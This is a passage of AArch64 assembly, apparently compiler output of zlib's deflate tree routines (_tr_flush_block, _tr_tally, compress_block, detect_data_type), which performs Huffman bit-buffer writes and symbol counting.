ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 96]
sub w0, w2, w0
cmp w1, w0
ble .L658
ldr w0, [sp, 36]
add w0, w0, 2
str w0, [sp, 100]
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
str w0, [sp, 104]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 40]
ldr x0, [sp, 56]
ldrh w2, [x0, 5920]
ldr x0, [sp, 56]
ldr x1, [x0, 16]
ldr w0, [sp, 104]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
str w0, [sp, 108]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 40]
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 56]
ldr x1, [x0, 16]
ldr w0, [sp, 108]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 5924]
b .L659
.L658:
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 36]
and w0, w0, 65535
add w0, w0, 2
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 5924]
.L659:
adrp x0, static_dtree
add x2, x0, :lo12:static_dtree
adrp x0, static_ltree
add x1, x0, :lo12:static_ltree
ldr x0, [sp, 56]
bl compress_block
b .L654
.L657:
mov w0, 3
str w0, [sp, 80]
ldr x0, [sp, 56]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 80]
sub w0, w2, w0
cmp w1, w0
ble .L660
ldr w0, [sp, 36]
add w0, w0, 4
str w0, [sp, 84]
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
str w0, [sp, 88]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 40]
ldr x0, [sp, 56]
ldrh w2, [x0, 5920]
ldr x0, [sp, 56]
ldr x1, [x0, 16]
ldr w0, [sp, 88]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
str w0, [sp, 92]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 40]
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 56]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 5924]
b .L661
.L660:
ldr x0, [sp, 56]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 36]
and w0, w0, 65535
add w0, w0, 4
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 5920]
ldr x0, [sp, 56]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 5924]
.L661:
ldr x0, [sp, 56]
ldr w0, [x0, 2896]
add w1, w0, 1
ldr x0, [sp, 56]
ldr w0, [x0, 2920]
add w2, w0, 1
ldr w0, [sp, 76]
add w0, w0, 1
mov w3, w0
ldr x0, [sp, 56]
bl send_all_trees
ldr x0, [sp, 56]
add x1, x0, 196
ldr x0, [sp, 56]
add x0, x0, 2488
mov x2, x0
ldr x0, [sp, 56]
bl compress_block
.L654:
ldr x0, [sp, 56]
bl init_block
ldr w0, [sp, 36]
cmp w0, 0
beq .L667
ldr x0, [sp, 56]
bl bi_windup
nop
.L667:
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE64:
.size _tr_flush_block, .-_tr_flush_block
.align 2
.global _tr_tally
.hidden _tr_tally
.type _tr_tally, %function
_tr_tally:
.LFB65:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
ldr x0, [sp, 8]
ldr x1, [x0, 5888]
ldr x0, [sp, 8]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldr w1, [sp, 4]
and w1, w1, 65535
strh w1, [x0]
ldr x0, [sp, 8]
ldr w0, [x0, 5884]
str w0, [sp, 24]
ldr x0, [sp, 8]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 5884]
ldr x0, [sp, 8]
ldr x1, [x0, 5872]
ldr w0, [sp, 24]
add x0, x1, x0
ldr w1, [sp]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 4]
cmp w0, 0
bne .L669
ldr x1, [sp, 8]
ldr w0, [sp]
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 8]
ldr w0, [sp]
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
b .L670
.L669:
ldr x0, [sp, 8]
ldr w0, [x0, 5912]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 5912]
ldr w0, [sp, 4]
sub w0, w0, #1
str w0, [sp, 4]
adrp x0, _length_code
add x1, x0, :lo12:_length_code
ldr w0, [sp]
ldrb w0, [x1, x0]
add w0, w0, 257
ldr x1, [sp, 8]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
adrp x1, _length_code
add x2, x1, :lo12:_length_code
ldr w1, [sp]
ldrb w1, [x2, x1]
add w3, w1, 257
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 8]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr w0, [sp, 4]
cmp w0, 255
bhi .L671
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
ldr w0, [sp, 4]
ldrb w0, [x1, x0]
str w0, [sp, 20]
b .L672
.L671:
ldr w0, [sp, 4]
lsr w0, w0, 7
add w2, w0, 256
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
uxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 20]
.L672:
ldr x1, [sp, 8]
ldrsw x0, [sp, 20]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 8]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 8]
ldrsw x0, [sp, 20]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 8]
.L670:
ldr x0, [sp, 8]
ldr w1, [x0, 5884]
ldr x0, [sp, 8]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 28]
ldr w0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE65:
.size _tr_tally, .-_tr_tally
.align 2
.type compress_block, %function
compress_block:
.LFB66:
.cfi_startproc
sub sp, sp, #160
.cfi_def_cfa_offset 160
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
str wzr, [sp, 40]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
cmp w0, 0
beq .L675
.L689:
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr w0, [sp, 40]
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 48]
ldr w0, [sp, 40]
str w0, [sp, 52]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 52]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 56]
ldr w0, [sp, 48]
cmp w0, 0
bne .L676
ldrsw x0, [sp, 56]
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 128]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 128]
sub w0, w2, w0
cmp w1, w0
ble .L677
ldrsw x0, [sp, 56]
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 132]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 132]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 136]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 136]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 140]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 140]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 132]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 128]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L678
.L677:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldrsw x0, [sp, 56]
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 128]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L678
.L676:
adrp x0, _length_code
add x1, x0, :lo12:_length_code
ldrsw x0, [sp, 56]
ldrb w0, [x1, x0]
str w0, [sp, 44]
ldr w0, [sp, 44]
add w0, w0, 257
uxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 60]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 60]
sub w0, w2, w0
cmp w1, w0
ble .L679
ldr w0, [sp, 44]
add w0, w0, 257
uxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 64]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 64]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 68]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 72]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 72]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 64]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 60]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L680
.L679:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 44]
add w0, w0, 257
uxtw x0, w0
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 60]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L680:
adrp x0, extra_lbits
add x0, x0, :lo12:extra_lbits
ldr w1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
beq .L681
adrp x0, base_length
add x0, x0, :lo12:base_length
ldr w1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
ldr w1, [sp, 56]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 76]
str w0, [sp, 80]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 80]
sub w0, w2, w0
cmp w1, w0
ble .L682
ldr w0, [sp, 56]
str w0, [sp, 84]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 88]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 88]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 92]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L681
.L682:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 56]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L681:
ldr w0, [sp, 48]
sub w0, w0, #1
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 255
bhi .L683
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
ldr w0, [sp, 48]
ldrb w0, [x1, x0]
str w0, [sp, 44]
b .L684
.L683:
ldr w0, [sp, 48]
lsr w0, w0, 7
add w2, w0, 256
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
uxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 44]
.L684:
ldr w0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 96]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 96]
sub w0, w2, w0
cmp w1, w0
ble .L685
ldr w0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 100]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 104]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 108]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 108]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L686
.L685:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 44]
lsl x0, x0, 2
ldr x2, [sp, 8]
add x0, x2, x0
ldrh w0, [x0]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L686:
adrp x0, extra_dbits
add x0, x0, :lo12:extra_dbits
ldr w1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
beq .L678
adrp x0, base_dist
add x0, x0, :lo12:base_dist
ldr w1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
mov w1, w0
ldr w0, [sp, 48]
sub w0, w0, w1
str w0, [sp, 48]
ldr w0, [sp, 76]
str w0, [sp, 112]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 112]
sub w0, w2, w0
cmp w1, w0
ble .L687
ldr w0, [sp, 48]
str w0, [sp, 116]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 120]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 120]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 124]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 124]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L678
.L687:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 48]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L678:
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
ldr w1, [sp, 40]
cmp w1, w0
bcs .L693
b .L689
.L693:
nop
.L675:
ldr x0, [sp, 16]
add x0, x0, 1024
ldrh w0, [x0, 2]
str w0, [sp, 144]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 144]
sub w0, w2, w0
cmp w1, w0
ble .L690
ldr x0, [sp, 16]
add x0, x0, 1024
ldrh w0, [x0]
str w0, [sp, 148]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 148]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 152]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 152]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 156]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 148]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 144]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L674
.L690:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x0, [sp, 16]
add x0, x0, 1024
ldrh w0, [x0]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 144]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
nop
.L674:
add sp, sp, 160
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE66:
.size compress_block, .-compress_block
.align 2
.type detect_data_type, %function
detect_data_type:
.LFB67:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
mov x0, 49279
movk x0, 0xf3ff, lsl 16
str x0, [sp, 24]
str wzr, [sp, 20]
b .L695
.L698:
ldr x0, [sp, 24]
and x0, x0, 1
cmp x0, 0
beq .L696
ldr x1, [sp, 8]
ldrsw x0, [sp, 20]
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
cmp w0, 0
beq .L696
str wzr, [sp, 16]
b .L697
.L696:
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
ldr x0, [sp, 24]
lsr x0, x0, 1
str x0, [sp, 24]
.L695:
ldr w0, [sp, 20]
cmp w0, 31
ble .L698
ldr x0, [sp, 8]
ldrh w0, [x0, 232]
cmp w0, 0
beq .L699
mov w0, 1
str w0, [sp, 16]
b .L697
.L699:
ldr x0, [sp, 8]
ldrh w0, [x0, 236]
cmp w0, 0
beq .L700
mov w0, 1
str w0, [sp, 16]
b .L697
.L700:
ldr x0, [sp, 8]
ldrh w0, [x0, 248]
cmp w0, 0
beq .L701
mov w0, 1
str w0, [sp, 16]
b .L697
.L701:
mov w0, 32
str w0, [sp, 20]
b .L702
.L704:
ldr x1, [sp, 8]
ldrsw x0, [sp, 20]
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
cmp w0, 0
beq .L703
mov w0, 1
str w0, [sp, 16]
b .L697
.L703:
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L702:
ldr w0, [sp, 20]
cmp w0, 255
ble .L704
str wzr, [sp, 16]
.L697:
ldr w0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE67:
.size detect_data_type, .-detect_data_type
.align 2
.type bi_reverse, %function
bi_reverse:
.LFB68:
.cfi_startproc
str x19, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 19, -48
str w0, [sp, 28]
str w1, [sp, 24]
